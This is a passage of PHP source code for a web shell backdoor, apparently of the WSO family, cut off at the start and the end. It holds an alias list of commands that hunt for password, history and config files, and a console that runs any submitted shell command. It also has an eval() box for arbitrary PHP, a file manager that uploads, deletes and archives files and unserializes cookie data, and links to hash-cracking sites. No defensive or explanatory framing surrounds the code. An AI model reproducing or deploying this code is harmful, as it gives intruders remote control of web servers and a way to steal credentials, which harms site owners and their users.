-2 -ls\",\r\n  \t\t\"find all writable folders and files in current dir\" => \"find . -perm -2 -ls\",\r\n  \t\t\"find all service.pwd files\" => \"find / -type f -name service.pwd\",\r\n  \t\t\"find service.pwd files in current dir\" => \"find . -type f -name service.pwd\",\r\n  \t\t\"find all .htpasswd files\" => \"find / -type f -name .htpasswd\",\r\n  \t\t\"find .htpasswd files in current dir\" => \"find . -type f -name .htpasswd\",\r\n  \t\t\"find all .bash_history files\" => \"find / -type f -name .bash_history\",\r\n  \t\t\"find .bash_history files in current dir\" => \"find . -type f -name .bash_history\",\r\n  \t\t\"find all .fetchmailrc files\" => \"find / -type f -name .fetchmailrc\",\r\n  \t\t\"find .fetchmailrc files in current dir\" => \"find . -type f -name .fetchmailrc\",\r\n\t\t\"Locate\" => \"\",\r\n  \t\t\"locate httpd.conf files\" => \"locate httpd.conf\",\r\n\t\t\"locate vhosts.conf files\" => \"locate vhosts.conf\",\r\n\t\t\"locate proftpd.conf files\" => \"locate proftpd.conf\",\r\n\t\t\"locate psybnc.conf files\" => \"locate psybnc.conf\",\r\n\t\t\"locate my.conf files\" => \"locate my.conf\",\r\n\t\t\"locate admin.php files\" =>\"locate admin.php\",\r\n\t\t\"locate cfg.php files\" => \"locate cfg.php\",\r\n\t\t\"locate conf.php files\" => \"locate conf.php\",\r\n\t\t\"locate config.dat files\" => \"locate config.dat\",\r\n\t\t\"locate config.php files\" => \"locate config.php\",\r\n\t\t\"locate config.inc files\" => \"locate config.inc\",\r\n\t\t\"locate config.inc.php\" => \"locate config.inc.php\",\r\n\t\t\"locate config.default.php files\" => \"locate config.default.php\",\r\n\t\t\"locate config* files \" => \"locate config\",\r\n\t\t\"locate .conf files\"=>\"locate '.conf'\",\r\n\t\t\"locate .pwd files\" => \"locate '.pwd'\",\r\n\t\t\"locate .sql files\" => \"locate '.sql'\",\r\n\t\t\"locate .htpasswd files\" => \"locate '.htpasswd'\",\r\n\t\t\"locate .bash_history files\" => \"locate '.bash_history'\",\r\n\t\t\"locate .mysql_history files\" => \"locate '.mysql_history'\",\r\n\t\t\"locate .fetchmailrc files\" => \"locate '.fetchmailrc'\",\r\n\t\t\"locate backup files\" => \"locate backup\",\r\n\t\t\"locate dump files\" => \"locate dump\",\r\n\t\t\"locate priv files\" => \"locate priv\"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty(\$_POST['p1']) && !empty(\$_POST['p2'])) {\r\n        prototype(md5(\$_SERVER['HTTP_HOST']).'stderr_to_out', true);\r\n        \$_POST['p1'] .= ' 2>&1';\r\n    } elseif(!empty(\$_POST['p1']))\r\n        prototype(md5(\$_SERVER['HTTP_HOST']).'stderr_to_out', 0);\r\n\tif(isset(\$_POST['ajax'])) {\r\n\t\tprototype(md5(\$_SERVER['HTTP_HOST']).'ajax', true);\r\n\t\tob_start();\r\n\t\techo \"d.cf.cmd.value='';\\n\";\r\n\t\t\$temp = @iconv(\$_POST['charset'], 'UTF-8', addcslashes(\"\\n\$ \".\$_POST['p1'].\"\\n\".ex(\$_POST['p1']),\"\\n\\r\\t\\'\\0\"));\r\n\t\tif(preg_match(\"!.*cd\\s+([^;]+)\$!\",\$_POST['p1'],\$match))\t{\r\n\t\t\tif(@chdir(\$match[1])) {\r\n\t\t\t\t\$GLOBALS['cwd'] = @getcwd();\r\n\t\t\t\techo \"c_='\".\$GLOBALS['cwd'].\"';\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"d.cf.output.value+='\".\$temp.\"';\";\r\n\t\techo \"d.cf.output.scrollTop = d.cf.output.scrollHeight;\";\r\n\t\t\$temp = ob_get_clean();\r\n\t\techo strlen(\$temp), \"\\n\", \$temp;\r\n\t\texit;\r\n\t}\r\n    if(empty(\$_POST['ajax'])&&!empty(\$_POST['p1']))\r\n\t\tprototype(md5(\$_SERVER['HTTP_HOST']).'ajax', 0);\r\n\thardHeader();\r\n    echo \"<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>\";\r\n\techo '<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value==\\'clear\\'){d.cf.output.value=\\'\\';d.cf.cmd.value=\\'\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\'\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\'\\');} return false;\"><label><select name=alias>';\r\n\tforeach(\$GLOBALS['aliases'] as \$n => \$v) {\r\n\t\tif(\$v == '') {\r\n\t\t\techo '<optgroup label=\"-'.htmlspecialchars(\$n).'-\"></optgroup>';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo '<option value=\"'.htmlspecialchars(\$v).'\">'.\$n.'</option>';\r\n\t}\r\n\t\r\n\techo '</select></label><input type=button onclick=\"add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\'\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\'\\');}\" value=\"submit\"> <nobr><input type=checkbox name=ajax value=1 '.(@\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty(\$_POST['p2'])||\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style=\"border-bottom:0;margin-top:5px;\" readonly>';\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\techo htmlspecialchars(\"\$ \".\$_POST['p1'].\"\\n\".ex(\$_POST['p1']));\r\n\t}\r\n\techo '</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>';\r\n\techo '</form></div><script>d.cf.cmd.focus();</script>';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\tif( isset(\$_POST['ajax']) ) {\r\n\t\t\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'ajax'] = true;\r\n\t\tob_start();\r\n\t\teval(\$_POST['p1']);\r\n\t\t\$temp = \"document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\'\\0\").\"';\\n\";\r\n\t\techo strlen(\$temp), \"\\n\", \$temp;\r\n\t\texit; \r\n\t}\r\n\thardHeader();\r\n\tif( isset(\$_POST['p2']) && (\$_POST['p2'] == 'info') ) {\r\n\t\techo '<h1>PHP info</h1><div class=content>';\r\n\t\tob_start();\r\n\t\tphpinfo();\r\n\t\t\$tmp = ob_get_clean();\r\n\t\t\$tmp = preg_replace('!body {.*}!msiU','',\$tmp);\r\n\t\t\$tmp = preg_replace('!a:\\w+ {.*}!msiU','',\$tmp);\r\n\t\t\$tmp = preg_replace('!h1!msiU','h2',\$tmp);\r\n\t\t\$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {\$1}',\$tmp);\r\n\t\t\$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',\$tmp);\r\n\t\techo \$tmp;\r\n\t\techo '</div><br>';\r\n\t}\r\n\tif(empty(\$_POST['ajax'])&&!empty(\$_POST['p1']))\r\n\t\t\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'ajax'] = false;\r\n\t\techo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit=\"if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\'\\');}return false;\"><textarea name=code class=bigarea id=PhpCode>'.(!empty(\$_POST['p1'])?htmlspecialchars(\$_POST['p1']):'').'</textarea><input type=submit value=Eval style=\"margin-top:5px\">';\r\n\techo ' <input type=checkbox name=ajax value=1 '.(\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style=\"'.(empty(\$_POST['p1'])?'display:none;':'').'margin-top:5px;\" class=ml1>';\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\tob_start();\r\n\t\teval(\$_POST['p1']);\r\n\t\techo htmlspecialchars(ob_get_clean());\r\n\t}\r\n\techo '</pre></div>';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty (\$_COOKIE['f']))\r\n        \$_COOKIE['f'] = @unserialize(\$_COOKIE['f']);\r\n    \r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\tswitch(\$_POST['p1']) {\r\n\t\t\tcase 'uploadFile':\r\n\t\t\t\tif ( is_array(\$_FILES['f']['tmp_name']) ) {\r\n\t\t\t\t\tforeach ( \$_FILES['f']['tmp_name'] as \$i => \$tmpName ) {\r\n                        if(!@move_uploaded_file(\$tmpName, \$_FILES['f']['name'][\$i])) {\r\n                                echo \"Can't upload file!\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'mkdir':\r\n\t\t\t\tif(!@mkdir(\$_POST['p2']))\r\n\t\t\t\t\techo \"Can't create new dir\";\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'delete':\r\n\t\t\t\tfunction deleteDir(\$path) {\r\n\t\t\t\t\t\$path = (substr(\$path,-1)=='/') ? \$path:\$path.'/';\r\n\t\t\t\t\t\$dh  = opendir(\$path);\r\n\t\t\t\t\twhile ( (\$\xe2\x96\x9f = readdir(\$dh) ) !== false) {\r\n\t\t\t\t\t\t\$\xe2\x96\x9f = \$path.\$\xe2\x96\x9f;\r\n\t\t\t\t\t\tif ( (basename(\$\xe2\x96\x9f) == \"..\") || (basename(\$\xe2\x96\x9f) == \".\") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\$type = filetype(\$\xe2\x96\x9f);\r\n\t\t\t\t\t\tif (\$type == \"dir\")\r\n\t\t\t\t\t\t\tdeleteDir(\$\xe2\x96\x9f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink(\$\xe2\x96\x9f);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir(\$dh);\r\n\t\t\t\t\t@rmdir(\$path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@\$_POST['f']))\r\n\t\t\t\t\tforeach(\$_POST['f'] as \$f) {\r\n                        if(\$f == '..')\r\n                            continue;\r\n\t\t\t\t\t\t\$f = urldecode(\$f);\r\n\t\t\t\t\t\tif(is_dir(\$f))\r\n\t\t\t\t\t\t\tdeleteDir(\$f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink(\$f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'paste':\r\n\t\t\t\tif(\$_COOKIE['act'] == 'copy') {\r\n\t\t\t\t\tfunction copy_paste(\$c,\$s,\$d){\r\n\t\t\t\t\t\tif(is_dir(\$c.\$s)){\r\n\t\t\t\t\t\t\tmkdir(\$d.\$s);\r\n\t\t\t\t\t\t\t\$h = @opendir(\$c.\$s);\r\n\t\t\t\t\t\t\twhile ((\$f = @readdir(\$h)) !== false)\r\n\t\t\t\t\t\t\t\tif ((\$f != \".\") and (\$f != \"..\"))\r\n\t\t\t\t\t\t\t\t\tcopy_paste(\$c.\$s.'/',\$f, \$d.\$s.'/');\r\n\t\t\t\t\t\t} elseif(is_file(\$c.\$s))\r\n\t\t\t\t\t\t\t@copy(\$c.\$s, \$d.\$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach(\$_COOKIE['f'] as \$f)\r\n\t\t\t\t\t\tcopy_paste(\$_COOKIE['c'],\$f, \$GLOBALS['cwd']);\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'move') {\r\n\t\t\t\t\tfunction move_paste(\$c,\$s,\$d){\r\n\t\t\t\t\t\tif(is_dir(\$c.\$s)){\r\n\t\t\t\t\t\t\tmkdir(\$d.\$s);\r\n\t\t\t\t\t\t\t\$h = @opendir(\$c.\$s);\r\n\t\t\t\t\t\t\twhile ((\$f = @readdir(\$h)) !== false)\r\n\t\t\t\t\t\t\t\tif ((\$f != \".\") and (\$f != \"..\"))\r\n\t\t\t\t\t\t\t\t\tcopy_paste(\$c.\$s.'/',\$f, \$d.\$s.'/');\r\n\t\t\t\t\t\t} elseif(@is_file(\$c.\$s))\r\n\t\t\t\t\t\t\t@copy(\$c.\$s, \$d.\$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach(\$_COOKIE['f'] as \$f)\r\n\t\t\t\t\t\t@rename(\$_COOKIE['c'].\$f, \$GLOBALS['cwd'].\$f);\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'zip') {\r\n\t\t\t\t\tif(class_exists('ZipArchive')) {\r\n                        \$zip = new ZipArchive();\r\n                        if (\$zip->open(\$_POST['p2'], 1)) {\r\n                            chdir(\$_COOKIE['c']);\r\n                            foreach(\$_COOKIE['f'] as \$f) {\r\n                                if(\$f == '..')\r\n                                    continue;\r\n                                if(@is_file(\$_COOKIE['c'].\$f))\r\n                                    \$zip->addFile(\$_COOKIE['c'].\$f, \$f);\r\n                                elseif(@is_dir(\$_COOKIE['c'].\$f)) {\r\n                                    \$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$f.'/', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach (\$iterator as \$key=>\$value) {\r\n                                        \$zip->addFile(realpath(\$key), \$key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir(\$GLOBALS['cwd']);\r\n                            \$zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'unzip') {\r\n\t\t\t\t\tif(class_exists('ZipArchive')) {\r\n                        \$zip = new ZipArchive();\r\n                        foreach(\$_COOKIE['f'] as \$f) {\r\n                            if(\$zip->open(\$_COOKIE['c'].\$f)) {\r\n                                \$zip->extractTo(\$GLOBALS['cwd']);\r\n                                \$zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'tar') {\r\n                    chdir(\$_COOKIE['c']);\r\n                    \$_COOKIE['f'] = array_map('escapeshellarg', \$_COOKIE['f']);\r\n                    ex('tar cfzv ' . escapeshellarg(\$_POST['p2']) . ' ' . implode(' ', \$_COOKIE['f']));\r\n                    chdir(\$GLOBALS['cwd']);\r\n\t\t\t\t}\r\n\t\t\t\tunset(\$_COOKIE['f']);\r\n                setcookie('f', '', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty(\$_POST['p1'])) {\r\n\t\t\t\t\tprototype('act', \$_POST['p1']);\r\n\t\t\t\t\tprototype('f', serialize(@\$_POST['f']));\r\n\t\t\t\t\tprototype('c', @\$_POST['c']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>';\r\n\t\$dirContent = hardScandir(isset(\$_POST['c'])?\$_POST['c']:\$GLOBALS['cwd']);\r\n\tif(\$dirContent === false) {\techo 'Can\\'t open this folder!';hardFooter(); return; }\r\n\tglobal \$sort;\r\n\t\$sort = array('name', 1);\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\tif(preg_match('!s_([A-z]+)_(\\d{1})!', \$_POST['p1'], \$match))\r\n\t\t\t\$sort = array(\$match[1], (int)\$match[2]);\r\n\t}\r\necho \"<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_name_\".(\$sort[1]?0:1).\"\\\")'>Name</a></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_size_\".(\$sort[1]?0:1).\"\\\")'>Size</a></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_modify_\".(\$sort[1]?0:1).\"\\\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_perms_\".(\$sort[1]?0:1).\"\\\")'>Permissions</a></th><th>Actions</th></tr>\";\r\n\t\$dirs = \$files = array();\r\n\t\$n = count(\$dirContent);\r\n\tfor(\$i=0;\$i<\$n;\$i++) {\r\n\t\t\$ow = @posix_getpwuid(@fileowner(\$dirContent[\$i]));\r\n\t\t\$gr = @posix_getgrgid(@filegroup(\$dirContent[\$i]));\r\n\t\t\$tmp = array('name' => \$dirContent[\$i],\r\n\t\t\t\t\t 'path' => \$GLOBALS['cwd'].\$dirContent[\$i],\r\n\t\t\t\t\t 'modify' => date('Y-m-d H:i:s', @filemtime(\$GLOBALS['cwd'] . \$dirContent[\$i])),\r\n\t\t\t\t\t 'perms' => viewPermsColor(\$GLOBALS['cwd'] . \$dirContent[\$i]),\r\n\t\t\t\t\t 'size' => @filesize(\$GLOBALS['cwd'].\$dirContent[\$i]),\r\n\t\t\t\t\t 'owner' => \$ow['name']?\$ow['name']:@fileowner(\$dirContent[\$i]),\r\n\t\t\t\t\t 'group' => \$gr['name']?\$gr['name']:@filegroup(\$dirContent[\$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file(\$GLOBALS['cwd'] . \$dirContent[\$i]))\r\n\t\t\t\$files[] = array_merge(\$tmp, array('type' => 'file'));\r\n\t\telseif(@is_link(\$GLOBALS['cwd'] . \$dirContent[\$i]))\r\n\t\t\t\$dirs[] = array_merge(\$tmp, array('type' => 'link', 'link' => readlink(\$tmp['path'])));\r\n\t\telseif(@is_dir(\$GLOBALS['cwd'] . \$dirContent[\$i])&&(\$dirContent[\$i] != \".\"))\r\n\t\t\t\$dirs[] = array_merge(\$tmp, array('type' => 'dir'));\r\n\t}\r\n\t\$GLOBALS['sort'] = \$sort;\r\n\tfunction cmp(\$a, \$b) {\r\n\t\tif(\$GLOBALS['sort'][0] != 'size')\r\n\t\t\treturn strcmp(strtolower(\$a[\$GLOBALS['sort'][0]]), strtolower(\$b[\$GLOBALS['sort'][0]]))*(\$GLOBALS['sort'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn ((\$a['size'] < \$b['size']) ? -1 : 1)*(\$GLOBALS['sort'][1]?1:-1);\r\n\t}\r\n\tusort(\$files, \"cmp\");\r\n\tusort(\$dirs, \"cmp\");\r\n\t\$files = array_merge(\$dirs, \$files);\r\n\t\$l = 0;\r\n\tforeach(\$files as \$f) {\r\n\t\techo '<tr'.(\$l?' class=l1':'').'><td><input type=checkbox name=\"f[]\" value=\"'.urlencode(\$f['name']).'\" class=chkbx></td><td><a href=# onclick=\"'.((\$f['type']=='file')?'g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'view\\')\">'.htmlspecialchars(\$f['name']):'g(\\'FilesMan\\',\\''.\$f['path'].'\\');\" ' . (empty (\$f['link']) ? '' : \"title='{\$f['link']}'\") . '><b>[ ' . htmlspecialchars(\$f['name']) . ' ]</b>').'</a></td><td>'.((\$f['type']=='file')?viewSize(\$f['size']):\$f['type']).'</td><td>'.\$f['modify'].'</td><td>'.\$f['owner'].'/'.\$f['group'].'</td><td><a href=# onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\',\\'chmod\\')\">'.\$f['perms']\r\n\t\t\t.'</td><td><a class=\"tooltip\" data-tooltip=\"Rename\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'rename\\')\">R</a> <a class=\"tooltip\" data-tooltip=\"Touch\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'touch\\')\">T</a>'.((\$f['type']=='file')?' <a class=\"tooltip\" data-tooltip=\"Frame\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'frame\\')\">F</a> <a class=\"tooltip\" data-tooltip=\"Edit\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'edit\\')\">E</a> <a class=\"tooltip\" data-tooltip=\"Download\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'download\\')\">D</a>':'').'</td></tr>';\r\n\t\t\$l = \$l?0:1;\r\n\t}\r\n\techo \"<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'>\r\n\t<input type=hidden name=charset value='\". (isset(\$_POST['charset'])?\$_POST['charset']:'').\"'>\r\n\t<label><select name='p1'>\";\r\n\tif(!empty(\$_COOKIE['act']) && @count(\$_COOKIE['f']))\r\n        echo \"<option value='paste'>\xe2\x86\xb3 Paste</option>\";\r\n\techo \"<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>\";\r\n    if(class_exists('ZipArchive'))\r\n        echo \"<option value='zip'>+ zip</option><option value='unzip'>- zip</option>\";\r\n    echo \"<option value='tar'>+ tar.gz</option>\";\r\n    echo \"</select></label>\";\r\n    if(!empty(\$_COOKIE['act']) && @count(\$_COOKIE['f']) && ((\$_COOKIE['act'] == 'zip') || (\$_COOKIE['act'] == 'tar')))\r\n        echo \"&nbsp;file name: <input type=text name=p2 value='hard_\" . date(\"Ymd_His\") . \".\" . (\$_COOKIE['act'] == 'zip'?'zip':'tar.gz') . \"'>&nbsp;\";\r\n    echo \"<input type='submit' value='submit'></td></tr></form></table></div>\";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\tif(!function_exists('hex2bin')) {function hex2bin(\$p) {return decbin(hexdec(\$p));}}\r\n    if(!function_exists('binhex')) {function binhex(\$p) {return dechex(bindec(\$p));}}\r\n\tif(!function_exists('hex2ascii')) {function hex2ascii(\$p){\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$i].\$p[\$i+1]));}return \$r;}}\r\n\tif(!function_exists('ascii2hex')) {function ascii2hex(\$p){\$r='';for(\$i=0;\$i<strlen(\$p);++\$i)\$r.= sprintf('%02X',ord(\$p[\$i]));return strtoupper(\$r);}}\r\n\tif(!function_exists('full_urlencode')) {function full_urlencode(\$p){\$r='';for(\$i=0;\$i<strlen(\$p);++\$i)\$r.= '%'.dechex(ord(\$p[\$i]));return strtoupper(\$r);}}\r\n\t\$stringTools = array(\r\n\t\t'Base64 encode' => 'base64_encode',\r\n\t\t'Base64 decode' => 'base64_decode',\r\n\t\t'Url encode' => 'urlencode',\r\n\t\t'Url decode' => 'urldecode',\r\n\t\t'Full urlencode' => 'full_urlencode',\r\n\t\t'md5 hash' => 'md5',\r\n\t\t'sha1 hash' => 'sha1',\r\n\t\t'crypt' => 'crypt',\r\n\t\t'CRC32' => 'crc32',\r\n\t\t'ASCII to HEX' => 'ascii2hex',\r\n\t\t'HEX to ASCII' => 'hex2ascii',\r\n\t\t'HEX to DEC' => 'hexdec',\r\n\t\t'HEX to BIN' => 'hex2bin',\r\n\t\t'DEC to HEX' => 'dechex',\r\n\t\t'DEC to BIN' => 'decbin',\r\n\t\t'BIN to HEX' => 'binhex',\r\n\t\t'BIN to DEC' => 'bindec',\r\n\t\t'String to lower case' => 'strtolower',\r\n\t\t'String to upper case' => 'strtoupper',\r\n\t\t'Htmlspecialchars' => 'htmlspecialchars',\r\n\t\t'String length' => 'strlen',\r\n\t);\r\n\tif(isset(\$_POST['ajax'])) {\r\n\t\tprototype(md5(\$_SERVER['HTTP_HOST']).'ajax', true);\r\n\t\tob_start();\r\n\t\tif(in_array(\$_POST['p1'], \$stringTools))\r\n\t\t\techo \$_POST['p1'](\$_POST['p2']);\r\n\t\t\$temp = \"document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\'\\0\").\"';\\n\";\r\n\t\techo strlen(\$temp), \"\\n\", \$temp;\r\n\t\texit;\r\n\t}\r\n    if(empty(\$_POST['ajax'])&&!empty(\$_POST['p1']))\r\n\t\tprototype(md5(\$_SERVER['HTTP_HOST']).'ajax', 0);\r\n\thardHeader();\r\n\techo '<h1>String conversions</h1><div class=content>';\r\n\techo \"<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>\";\r\n\tforeach(\$stringTools as \$k => \$v)\r\n\t\techo \"<option value='\".htmlspecialchars(\$v).\"'>\".\$k.\"</option>\";\r\n\t\techo \"</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 \".(@\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'ajax']?'checked':'').\"> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>\".(empty(\$_POST['p1'])?'':htmlspecialchars(@\$_POST['p2'])).\"</textarea></form><pre class='ml1' style='\".(empty(\$_POST['p1'])?'display:none;':'').\"margin-top:5px' id='strOutput'>\";\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\tif(in_array(\$_POST['p1'], \$stringTools))echo htmlspecialchars(\$_POST['p1'](\$_POST['p2']));\r\n\t}\r\n\techo\"</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\\"><table cellpadding='1' cellspacing='0' width='50%'>\r\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='\". htmlspecialchars(\$GLOBALS['cwd']) .\"' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\r\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\r\n\t\t\t</table></form>\";\r\n\tfunction hardRecursiveGlob(\$path) {\r\n\t\tif(substr(\$path, -1) != '/')\r\n\t\t\t\$path.='/';\r\n\t\t\$paths = @array_unique(@array_merge(@glob(\$path.\$_POST['p3']), @glob(\$path.'*', GLOB_ONLYDIR)));\r\n\t\tif(is_array(\$paths)&&@count(\$paths)) {\r\n\t\t\tforeach(\$paths as \$\xe2\x96\x9f) {\r\n\t\t\t\tif(@is_dir(\$\xe2\x96\x9f)){\r\n\t\t\t\t\tif(\$path!=\$\xe2\x96\x9f)\r\n\t\t\t\t\t\thardRecursiveGlob(\$\xe2\x96\x9f);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif(empty(\$_POST['p2']) || @strpos(file_get_contents(\$\xe2\x96\x9f), \$_POST['p2'])!==false)\r\n\t\t\t\t\t\techo \"<a href='#' onclick='g(\\\"FilesTools\\\",null,\\\"\".urlencode(\$\xe2\x96\x9f).\"\\\", \\\"view\\\",\\\"\\\")'>\".htmlspecialchars(\$\xe2\x96\x9f).\"</a><br>\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(@\$_POST['p3'])\r\n\t\thardRecursiveGlob(\$_POST['c']);\r\n\techo \"</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method='post' target='_blank' name='hf'>\r\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\r\n            <input type='hidden' name='act' value='find'/>\r\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\\\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\\\"><br>\r\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\\\"document.hf.action='https://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\\\"><br>\r\n            <input type='submit' value='fakenamegenerator.com' onclick=\\\"document.hf.action='https://www.fakenamegenerator.com/';document.hf.submit()\\\"><br>\r\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\\\"document.hf.action='https://www.hashcrack.com/index.php';document.hf.submit()\\\"><br>\r\n\t\t\t<input type='submit' value='toolki.com' onclick=\\\"document.hf.action='https://toolki.com/';document.hf.submit()\\\"><br>\r\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\\\"document.hf.action='https://fopo.com.ar/';document.hf.submit()\\\"><br>\r\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\\\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\\\"><br>\r\n\t\t</form></div>\";\r\n\thardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n\t\$temp='';\r\n\tob_start();\r\n\tswitch(\$_POST['p1']) 